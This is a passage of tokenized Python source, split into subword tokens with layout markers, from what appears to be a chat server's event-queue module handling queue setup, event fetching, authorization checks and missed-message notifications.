"]_",
"=_",
"True_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"for_",
"client_",
"in_",
"six_",
"._",
"itervalues_",
"(_",
"clients_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"if_",
"client_",
"._",
"accepts",
"\\u",
"event_",
"(_",
"event_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"client_",
"._",
"add",
"\\u",
"event_",
"(_",
"event_",
"._",
"copy_",
"(_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"setup",
"\\u",
"event",
"\\u",
"queue_",
"(_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"if_",
"not_",
"settings_",
"._",
"TEST",
"\\u",
"SUITE",
"_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"load",
"\\u",
"event",
"\\u",
"queues_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"atexit_",
"._",
"register_",
"(_",
"dump",
"\\u",
"event",
"\\u",
"queues_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
" ",
"Make",
" ",
"sure",
" ",
"we",
" ",
"dump",
" ",
"event",
" ",
"queue",
"s",
" ",
"even",
" ",
"if",
" ",
"we",
" ",
"exit",
" ",
"via",
" ",
"signal_",
"\\u\\u\\uNL\\u\\u\\u_",
"signal_",
"._",
"signal_",
"(_",
"signal_",
"._",
"SIGTERM_",
",_",
"lambda_",
"signum_",
",_",
"stack_",
":_",
"sys_",
"._",
"exit_",
"(_",
"1_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"tornado_",
"._",
"autore",
"load_",
"._",
"add",
"\\u",
"relo",
"ad",
"\\u",
"hook_",
"(_",
"dump",
"\\u",
"event",
"\\u",
"queues_",
")_",
"#",
" ",
"type",
":",
" ",
"ignore",
" ",
"#",
" ",
"TOD",
"O",
":",
" ",
"Fix",
" ",
"missi",
"ng",
" ",
"torn",
"ado",
".",
"autore",
"load",
" ",
"stub_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"try_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"os_",
"._",
"rename_",
"(_",
"settings_",
"._",
"JSO",
"N",
"\\u",
"PERS",
"ISTE",
"NT",
"\\u",
"QUEUE",
"\\u",
"FILENAME_",
",_",
"\"/",
"var",
"/",
"tmp",
"/",
"event",
"\\u",
"queue",
"s",
".",
"json",
".",
"last",
"\"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"except_",
"OSE",
"rror_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"pass_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Set",
" ",
"up",
" ",
"event",
" ",
"queue",
" ",
"gar",
"bage",
" ",
"collection_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"ioloop_",
"=_",
"tornado_",
"._",
"ioloop_",
"._",
"IO",
"Loop_",
"._",
"instance_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"pc_",
"=_",
"tornado_",
"._",
"ioloop_",
"._",
"Period",
"ic",
"Callback_",
"(_",
"gc",
"\\u",
"event",
"\\u",
"queues_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"EVENT",
"\\u",
"QUEUE",
"\\u",
"GC",
"\\u",
"FREQ",
"\\u",
"MSE",
"CS_",
",_",
"ioloop_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"pc_",
"._",
"start_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"send",
"\\u",
"restart",
"\\u",
"events_",
"(_",
"immediate",
"_",
"=_",
"settings_",
"._",
"DEVELO",
"PM",
"ENT_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"fetch",
"\\u",
"events_",
"(_",
"query_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"queue",
"\\u",
"id_",
"=_",
"query_",
"[_",
"\"",
"queue",
"\\u",
"id",
"\"_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"don",
"t",
"\\u",
"block_",
"=_",
"query_",
"[_",
"\"",
"don",
"t",
"\\u",
"block",
"\"_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"last",
"\\u",
"event",
"\\u",
"id_",
"=_",
"query_",
"[_",
"\"",
"last",
"\\u",
"event",
"\\u",
"id",
"\"_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"user",
"\\u",
"profile",
"\\u",
"id_",
"=_",
"query_",
"[_",
"\"",
"user",
"\\u",
"profile",
"\\u",
"id",
"\"_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"new",
"\\u",
"queue",
"\\u",
"data_",
"=_",
"query_",
"._",
"get_",
"(_",
"\"",
"new",
"\\u",
"queue",
"\\u",
"data",
"\"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"user",
"\\u",
"profile",
"\\u",
"email_",
"=_",
"query_",
"[_",
"\"",
"user",
"\\u",
"profile",
"\\u",
"email",
"\"_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"client",
"\\u",
"type",
"\\u",
"name_",
"=_",
"query_",
"[_",
"\"",
"client",
"\\u",
"type",
"\\u",
"name",
"\"_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"handler",
"\\u",
"id_",
"=_",
"query_",
"[_",
"\"",
"handler",
"\\u",
"id",
"\"_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"try_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"was",
"\\u",
"connected_",
"=_",
"False_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"orig",
"\\u",
"queue",
"\\u",
"id_",
"=_",
"queue",
"\\u",
"id_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"extra",
"\\u",
"log",
"\\u",
"data_",
"=_",
"\"\"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"queue",
"\\u",
"id_",
"is_",
"None_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"if_",
"don",
"t",
"\\u",
"block_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"client_",
"=_",
"allocate",
"\\u",
"client",
"\\u",
"descriptor_",
"(_",
"new",
"\\u",
"queue",
"\\u",
"data_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"queue",
"\\u",
"id_",
"=_",
"client_",
"._",
"event",
"\\u",
"queue_",
"._",
"id_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"else_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"raise_",
"Js",
"ona",
"ble",
"Error_",
"(_",
"\"",
"Missing",
" ",
"'",
"queue",
"\\u",
"id",
"'",
" ",
"argu",
"ment",
"\"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"else_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"if_",
"last",
"\\u",
"event",
"\\u",
"id_",
"is_",
"None_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"raise_",
"Js",
"ona",
"ble",
"Error_",
"(_",
"\"",
"Missing",
" ",
"'",
"last",
"\\u",
"event",
"\\u",
"id",
"'",
" ",
"argu",
"ment",
"\"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"client_",
"=_",
"get",
"\\u",
"client",
"\\u",
"descriptor_",
"(_",
"queue",
"\\u",
"id_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"client_",
"is_",
"None_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"raise_",
"Js",
"ona",
"ble",
"Error_",
"(_",
"\"",
"Ba",
"d",
" ",
"event",
" ",
"queue",
" ",
"id",
":",
" ",
"%",
"s",
"\"_",
"%_",
"(_",
"queue",
"\\u",
"id_",
",_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"if_",
"user",
"\\u",
"profile",
"\\u",
"id_",
"!=_",
"client_",
"._",
"user",
"\\u",
"profile",
"\\u",
"id_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"raise_",
"Js",
"ona",
"ble",
"Error_",
"(_",
"\"",
"You",
" ",
"are",
" ",
"not",
" ",
"authoriz",
"ed",
" ",
"to",
" ",
"get",
" ",
"events",
" ",
"from",
" ",
"this",
" ",
"queue",
"\"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"client_",
"._",
"event",
"\\u",
"queue_",
"._",
"prune",
"_",
"(_",
"last",
"\\u",
"event",
"\\u",
"id_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"was",
"\\u",
"connected_",
"=_",
"client_",
"._",
"finish",
"\\u",
"current",
"\\u",
"handler_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"if_",
"not_",
"client_",
"._",
"event",
"\\u",
"queue_",
"._",
"empty_",
"(_",
")_",
"or_",
"don",
"t",
"\\u",
"block_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"response_",
"=_",
"dict_",
"(_",
"events_",
"=_",
"client_",
"._",
"event",
"\\u",
"queue_",
"._",
"contents_",
"(_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"handler",
"\\u",
"id_",
"=_",
"handler",
"\\u",
"id_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"orig",
"\\u",
"queue",
"\\u",
"id_",
"is_",
"None_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"response_",
"[_",
"'",
"queue",
"\\u",
"id",
"'_",
"]_",
"=_",
"queue",
"\\u",
"id_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"extra",
"\\u",
"log",
"\\u",
"data_",
"=_",
"\"[",
"%",
"s",
"/",
"%",
"s",
"]\"_",
"%_",
"(_",
"queue",
"\\u",
"id_",
",_",
"len_",
"(_",
"response_",
"[_",
"\"",
"events",
"\"_",
"]_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"was",
"\\u",
"connected_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"extra",
"\\u",
"log",
"\\u",
"data_",
"+=_",
"\"",
" ",
"[",
"was",
" ",
"connect",
"ed",
"]\"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"return_",
"dict_",
"(_",
"type_",
"=_",
"\"",
"response",
"\"_",
",_",
"response_",
"=_",
"response_",
",_",
"extra",
"\\u",
"log",
"\\u",
"data_",
"=_",
"extra",
"\\u",
"log",
"\\u",
"data_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Af",
"ter",
" ",
"this",
" ",
"point",
",",
" ",
"don",
"t",
"\\u",
"block",
"=",
"Fal",
"se",
",",
" ",
"the",
" ",
"queue",
" ",
"is",
" ",
"empty",
",",
" ",
"and",
" ",
"we",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"have",
" ",
"a",
" ",
"pre",
"-",
"exist",
"ing",
" ",
"queue",
",",
" ",
"so",
" ",
"we",
" ",
"wait",
" ",
"for",
" ",
"new",
" ",
"events",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"if_",
"was",
"\\u",
"connected_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"logging_",
"._",
"info_",
"(_",
"\"",
"Disconnect",
"ed",
" ",
"handler",
" ",
"for",
" ",
"queue",
" ",
"%",
"s",
" ",
"(%",
"s",
"/",
"%",
"s",
")\"_",
"%_",
"(_",
"queue",
"\\u",
"id_",
",_",
"user",
"\\u",
"profile",
"\\u",
"email_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"client",
"\\u",
"type",
"\\u",
"name_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"except_",
"Js",
"ona",
"ble",
"Error_",
"as_",
"e_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"if_",
"hasattr_",
"(_",
"e_",
",_",
"'",
"to",
"\\u",
"json",
"\\u",
"error",
"\\u",
"msg",
"'_",
")_",
"and_",
"callable_",
"(_",
"e_",
"._",
"to",
"\\u",
"json",
"\\u",
"error",
"\\u",
"msg_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"dict_",
"(_",
"type_",
"=_",
"\"",
"error",
"\"_",
",_",
"handler",
"\\u",
"id_",
"=_",
"handler",
"\\u",
"id_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"message_",
"=_",
"e_",
"._",
"to",
"\\u",
"json",
"\\u",
"error",
"\\u",
"msg_",
"(_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"raise_",
"e_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"client_",
"._",
"connect",
"\\u",
"handler_",
"(_",
"handler",
"\\u",
"id_",
",_",
"client",
"\\u",
"type",
"\\u",
"name_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"return_",
"dict_",
"(_",
"type_",
"=_",
"\"",
"async",
"\"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"def_",
"extract",
"\\u",
"json",
"\\u",
"response_",
"(_",
"resp_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"if_",
"request",
"s",
"\\u",
"json",
"\\u",
"is",
"\\u",
"function_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"resp_",
"._",
"json_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"else_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"resp_",
"._",
"json_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"request",
"\\u",
"event",
"\\u",
"queue_",
"(_",
"user",
"\\u",
"profile_",
",_",
"user",
"\\u",
"client_",
",_",
"appl",
"y",
"\\u",
"markdown_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"queue",
"\\u",
"life",
"span",
"\\u",
"secs_",
",_",
"event",
"\\u",
"types_",
"=_",
"None_",
",_",
"all",
"\\u",
"public",
"\\u",
"streams_",
"=_",
"False_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"narrow",
"_",
"=_",
"[_",
"]_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"if_",
"settings_",
"._",
"TOR",
"NAD",
"O",
"\\u",
"SERVER_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"req_",
"=_",
"{_",
"'",
"don",
"t",
"\\u",
"block",
"'_",
":_",
"'",
"true",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"appl",
"y",
"\\u",
"mark",
"down",
"'_",
":_",
"ujson_",
"._",
"dumps_",
"(_",
"appl",
"y",
"\\u",
"markdown_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"all",
"\\u",
"public",
"\\u",
"stream",
"s",
"'_",
":_",
"ujson_",
"._",
"dumps_",
"(_",
"all",
"\\u",
"public",
"\\u",
"streams_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"client",
"'_",
":_",
"'",
"internal",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"user",
"\\u",
"client",
"'_",
":_",
"user",
"\\u",
"client_",
"._",
"name_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"narrow",
"'_",
":_",
"ujson_",
"._",
"dumps_",
"(_",
"narrow",
"_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"life",
"span",
"\\u",
"secs",
"'_",
":_",
"queue",
"\\u",
"life",
"span",
"\\u",
"secs_",
"}_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"event",
"\\u",
"types_",
"is_",
"not_",
"None_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"req_",
"[_",
"'",
"event",
"\\u",
"types",
"'_",
"]_",
"=_",
"ujson_",
"._",
"dumps_",
"(_",
"event",
"\\u",
"types_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"resp_",
"=_",
"requests_",
"._",
"get_",
"(_",
"settings_",
"._",
"TOR",
"NAD",
"O",
"\\u",
"SERVER_",
"+_",
"'/",
"api",
"/",
"v1",
"/",
"events",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"auth_",
"=_",
"requests_",
"._",
"auth_",
"._",
"HTTP",
"Basic",
"Auth_",
"(_",
"user",
"\\u",
"profile_",
"._",
"email_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"user",
"\\u",
"profile_",
"._",
"api",
"\\u",
"key_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"params_",
"=_",
"req_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"resp_",
"._",
"raise",
"\\u",
"for",
"\\u",
"status_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"return_",
"extract",
"\\u",
"json",
"\\u",
"response_",
"(_",
"resp_",
")_",
"[_",
"'",
"queue",
"\\u",
"id",
"'_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"return_",
"None_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"get",
"\\u",
"user",
"\\u",
"events_",
"(_",
"user",
"\\u",
"profile_",
",_",
"queue",
"\\u",
"id_",
",_",
"last",
"\\u",
"event",
"\\u",
"id_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"if_",
"settings_",
"._",
"TOR",
"NAD",
"O",
"\\u",
"SERVER_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"resp_",
"=_",
"requests_",
"._",
"get_",
"(_",
"settings_",
"._",
"TOR",
"NAD",
"O",
"\\u",
"SERVER_",
"+_",
"'/",
"api",
"/",
"v1",
"/",
"events",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"auth_",
"=_",
"requests_",
"._",
"auth_",
"._",
"HTTP",
"Basic",
"Auth_",
"(_",
"user",
"\\u",
"profile_",
"._",
"email_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"user",
"\\u",
"profile_",
"._",
"api",
"\\u",
"key_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"params_",
"=_",
"{_",
"'",
"queue",
"\\u",
"id",
"'_",
":_",
"queue",
"\\u",
"id_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"last",
"\\u",
"event",
"\\u",
"id",
"'_",
":_",
"last",
"\\u",
"event",
"\\u",
"id_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"don",
"t",
"\\u",
"block",
"'_",
":_",
"'",
"true",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"client",
"'_",
":_",
"'",
"internal",
"'_",
"}_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"resp_",
"._",
"raise",
"\\u",
"for",
"\\u",
"status_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"return_",
"extract",
"\\u",
"json",
"\\u",
"response_",
"(_",
"resp_",
")_",
"[_",
"'",
"events",
"'_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"def_",
"build",
"\\u",
"offline",
"\\u",
"notification_",
"(_",
"user",
"\\u",
"profile",
"\\u",
"id_",
",_",
"message",
"\\u",
"id_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"{_",
"\"",
"user",
"\\u",
"profile",
"\\u",
"id",
"\"_",
":_",
"user",
"\\u",
"profile",
"\\u",
"id_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"\"",
"message",
"\\u",
"id",
"\"_",
":_",
"message",
"\\u",
"id_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"\"",
"timestamp",
"\"_",
":_",
"time_",
"._",
"time_",
"(_",
")_",
"}_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"missed",
"message",
"\\u",
"hook_",
"(_",
"user",
"\\u",
"profile",
"\\u",
"id_",
",_",
"queue_",
",_",
"last",
"\\u",
"for",
"\\u",
"client_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
" ",
"On",
"ly",
" ",
"process",
" ",
"missed",
"message",
" ",
"hook",
" ",
"whe",
"n",
" ",
"the",
" ",
"last",
" ",
"queue",
" ",
"for",
" ",
"a_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"client",
" ",
"has",
" ",
"bee",
"n",
" ",
"gar",
"bage",
" ",
"collected",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"if_",
"not_",
"last",
"\\u",
"for",
"\\u",
"client_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"message",
"\\u",
"ids",
"\\u",
"to",
"\\u",
"notify_",
"=_",
"[_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"for_",
"event_",
"in_",
"queue_",
"._",
"event",
"\\u",
"queue_",
"._",
"contents_",
"(_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"if_",
"not_",
"event_",
"[_",
"'",
"type",
"'_",
"]_",
"==_",
"'",
"message",
"'_",
"or_",
"not_",
"event_",
"[_",
"'",
"flags",
"'_",
"]_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"continue_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"if_",
"'",
"mentioned",
"'_",
"in_",
"event_",
"[_",
"'",
"flags",
"'_",
"]_",
"and_",
"not_",
"'",
"read",
"'_",
"in_",
"event_",
"[_",
"'",
"flags",
"'_",
"]_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"notif",
"y",
"\\u",
"info_",
"=_",
"dict_",
"(_",
"message",
"\\u",
"id_",
"=_",
"event_",
"[_",
"'",
"message",
"'_",
"]_",
"[_",
"'",
"id",
"'_",
"]_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"if_",
"not_",
"event_",
"._",
"get_",
"(_",
"'",
"push",
"\\u",
"notified",
"'_",
",_",
"False_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"notif",
"y",
"\\u",
"info_",
"[_",
"'",
"send",
"\\u",
"push",
"'_",
"]_",
"=_",
"True_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"if_",
"not_",
"event_",
"._",
"get_",
"(_",
"'",
"email",
"\\u",
"notified",
"'_",
",_",
"False_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"notif",
"y",
"\\u",
"info_",
"[_",
"'",
"send",
"\\u",
"email",
"'_",
"]_",
"=_",
"True_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"message",
"\\u",
"ids",
"\\u",
"to",
"\\u",
"notify_",
"._",
"append_",
"(_",
"notif",
"y",
"\\u",
"info_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"for_",
"notif",
"y",
"\\u",
"info_",
"in_",
"message",
"\\u",
"ids",
"\\u",
"to",
"\\u",
"notify_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"msg",
"\\u",
"id_",
"=_",
"notif",
"y",
"\\u",
"info_",
"[_",
"'",
"message",
"\\u",
"id",
"'_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"notice_",
"=_",
"build",
"\\u",
"offline",
"\\u",
"notification_",
"(_",
"user",
"\\u",
"profile",
"\\u",
"id_",
",_",
"msg",
"\\u",
"id_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"notif",
"y",
"\\u",
"info_",
"._",
"get_",
